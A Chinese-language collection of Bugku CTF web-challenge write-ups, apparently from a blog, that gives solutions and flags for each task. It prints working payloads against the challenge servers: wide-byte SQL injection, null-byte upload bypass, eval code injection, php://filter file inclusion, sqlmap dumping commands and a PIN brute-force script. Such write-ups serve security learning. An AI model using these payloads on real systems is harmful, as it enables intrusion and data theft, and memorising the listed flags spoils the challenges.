平台网址:http://ctf.bugku.com/
平台首页:
网址链接:http://120.24.86.145:8002/web2/
页面:
一看只有好多滑稽,分数也不太高,应该不是很难,F12打开开发者工具看一下
得到ctf:flag KEY{Web-2-bugKssNNikls9100}
链接:http://103.238.227.13:10085/
一看是文件上传测试,是文件上传的问题,看一下要求:
1、请上传PHP文件
2、文件上传大小不允许超过1M
先上传php文件试一下
发现提交后报错,说是非图片文件,那就再上传 接下来就觉得前端验证是图片后缀的验证,上传到服务器时分析的是php文件,不说了 用%00截断或者00截断试试
打开burp抓包工具——设置代理——抓包
上传的是一个222.png图片,这时候最好别直接上传php的文件用%00 可能存在对文件的内容解析 导致上传失败
最后得到flag:Flag:42e97d465f962c53df9549377b513c7e
链接:http://120.24.86.145:8002/yanzhengma/
发现只能输入一个数字,肯定是对提交的内容做了长度限制,打开开发者工具把长度改一下
因为计算结果为18 长度改为2
得到flag:flag{CTF-bugku-0032}
链接:http://120.24.86.145:8002/get/
发现是很简单的代码 提交的数据(get方式)只要what=flag就行
flag:flag{bugku_get_su8kej2en}
链接:http://120.24.86.145:8002/post/
这里用一下火狐的插件hackbug
得到flag:flag{bugku_get_ssseint67se}
链接:http://120.24.86.145:8002/get/index1.php
读一下代码 判断输入的num 如果不是数字的话且为1的话输出flag 应了题目的话 自相矛盾, 但是我们有很多方法让num为1但是不是数字 比如num= 1e0.123
得到flag:flag{bugku-789-ps-ssdf}
网址:http://120.24.86.145:8002/web3/
打开网页之后发现一直弹出这个框 是不是特别烦 直接个禁止了
然后就是一片空白 一片茫然啊 f12看一下
发现一串很特别的东西 百度一下这是什么码
二话不说 直接粘贴到浏览器上一回车发现flag就出来了
直接就出来了
flag:KEY{J2sa42ahJK-HS11III}
链接:http://103.238.227.13:10083/
很明显 查询key表,id=1的string字段
构造payload:http://103.238.227.13:10083/index.php?id=-1%20union%20select%201,string%20from%20%27key%27%20#
发现没有出来 怎么什么都没有了 继续重头开始 看一下是什么注入
发现id=1和id=1’都没错 想起了宽字节注入 试一下
果然 那么就好了构造payload:http://103.238.227.13:10083/index.php?id=1%df%27 union select 1,string from 'key'#
报错 是引号的问题 那试一下另一种引号
http://103.238.227.13:10083/index.php?id=1%df%27 union select 1,string from `key`#
这种引号在tab键的上面
发现还报错 想起了是#的问题 把#改成%23
得到flag:54f3320dc261f313ba712eb3f13a1f6d
链接:http://103.238.227.13:10087/
目录(?)[+]
访问参数为:?id=x
查找表为key的数据表,id=1值hash字段值
首先我们看到这道CTF题的时候 通过代码审计,我们可以知道它过滤了很多关键字,这样一来我们不知道怎么下手,但是它又给出了一段代码,这段代码如果你不注意的话就可能认为是多余的,但是它这段代码就是提示
我们通过百度查一下strip_tags()这个函数的作用
strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。
注释:该函数始终会剥离 HTML 注释。这点无法通过 allow 参数改变。
注释:该函数是二进制安全的。
剥去字符串中的 HTML 标签,但允许使用 标签:
world!",""); ?>知道原理后,那么我们就可以直接构造payload了
访问参数为:?id=x
查找表为key的数据表,id=1值hash字段值
以下为其中一段代码:
//过滤sql $array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit'); foreach ($array as $value) { if (substr_count($id, $value) > 0) { exit('包含敏感关键字!'.$value); } } //xss过滤 $id = strip_tags($id); $query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";
当前结果:
id | c3d3c17b4ca7f791f85e#$1cc72af274af4adef |
title | 1 |
得到 flag:
c3d3c17b4ca7f791f85e#$1cc72af274af4adef |
链接:http://120.24.86.145:8003/
分析出hello这个post/get获取的参数值很重要($_REQUEST对get,post都能接受)
看一下 直接构造payload就行了 这里用了一个知识
http://120.24.86.145:8003/index.php?hello= 1);print_r(file("./flag.php%22")
就相当于:eval( "1);print_r(file("./flag.php%22")");
flag:flag{bug-ctf-gg-99}
变量1
链接:http://120.24.86.145:8004/index1.php
一个变量,当变量符合要求时输出flag 首先得知args这个变量是七个字符的 想起了全局变量 GLOBALS
得到flag:flag{92853051ab894a64f7865cf3c2128b34}
链接:http://120.24.86.145:8002/web5/
随便输个东西提交
发现什么都没有 抓包试试
发现出来一种码 直接用浏览器自带的工具 开发者工具里的console解码
然后回车
flag:
链接:http://120.24.86.145:9009/hd.php
打开之后 发现现实什么也没有 打开源码看一下
发现有隐藏的元素 所以直接抓包
得到flag:flag{Bugku_k8_23s_istra}
链接:http://120.24.86.145:8002/web4/
让查看源代码 我们旧查看源代码 在源代码里找到一段脚本 用js跑一下
解析后得到:
function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").οnsubmit=checkSubmit;
说如果我们提交的内容是67d709b2b54aa2aa648cf6e87a7114f1就可以得到flag试一下
KEY{J22JK-HS11}
链接:http://120.24.86.145:8005/post/
点击下发现什么都没有 不过题目都说了 flag在index里 所以可以直接构造payloadhttp://120.24.86.145:8005/post/index.php?file=php://filter/convert.base64-encode/resource=index.php
得到一串码
PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==
base64解码
得到flag{edulcni_elif_lacol_si_siht}
网址:http://120.24.86.145:8002/baopo/
一看是让输入5位数字密码 而且url就告诉你了让我们用爆破 那就爆破白 密码时从00000到99999一共十万个
用phthon吧 慢慢爆破 虽然有点慢
#coding:utf-8 import requests url='http://120.24.86.145:8002/baopo/?yes' value=[] for i in range(0,99999): if(len(str(i))<5): value.append("0"*(5-len(str(i)))+str(i)) else : value.append(str(i)) data = {'pwd':00000} content = requests.post(url,data=data) content.encoding='utf-8' patch=content.text for i in value: data = {'pwd':i} print ('尝试密码:',i) content = requests.post(url,data=data) content.encoding='utf-8' html=content.text if html != patch: print (html)
最后爆出密码为13579 输入即可得到flag
flag:flag{bugku-baopo-hah}
链接:
打开之后是下面这个样子
什么也看不出来 F12分析下源码:
有一个post提交的数据 那就构造一下呗
得到flag:flag{Not_C00kI3Cl1ck3r}
链接:http://120.24.86.145:8002/chengjidan/
这个一看应该是SQL注入 先提交一个数据看看
发现有一个post数据 那就利用这个数据注入白
先抓包
然后点击action——>从copy to file
我保存在了 D盘3333.txt
打开sqlmap
得到当前使用数据库skctf_flag
爆表sqlmap -r "D:\3333.txt" -p id --table -D "skctf_flag"
爆f14g的列
爆字段
得到flag:BUGKU{Sql_INJECT0N_4813drd8hz4}
链接:http://120.24.86.145:8001/
看到这句话 想都没有想 直接扫描了下目录里的txt文件
根目录下存在flag.txt
直接打开:
flag{admin_a23-ae2132_key}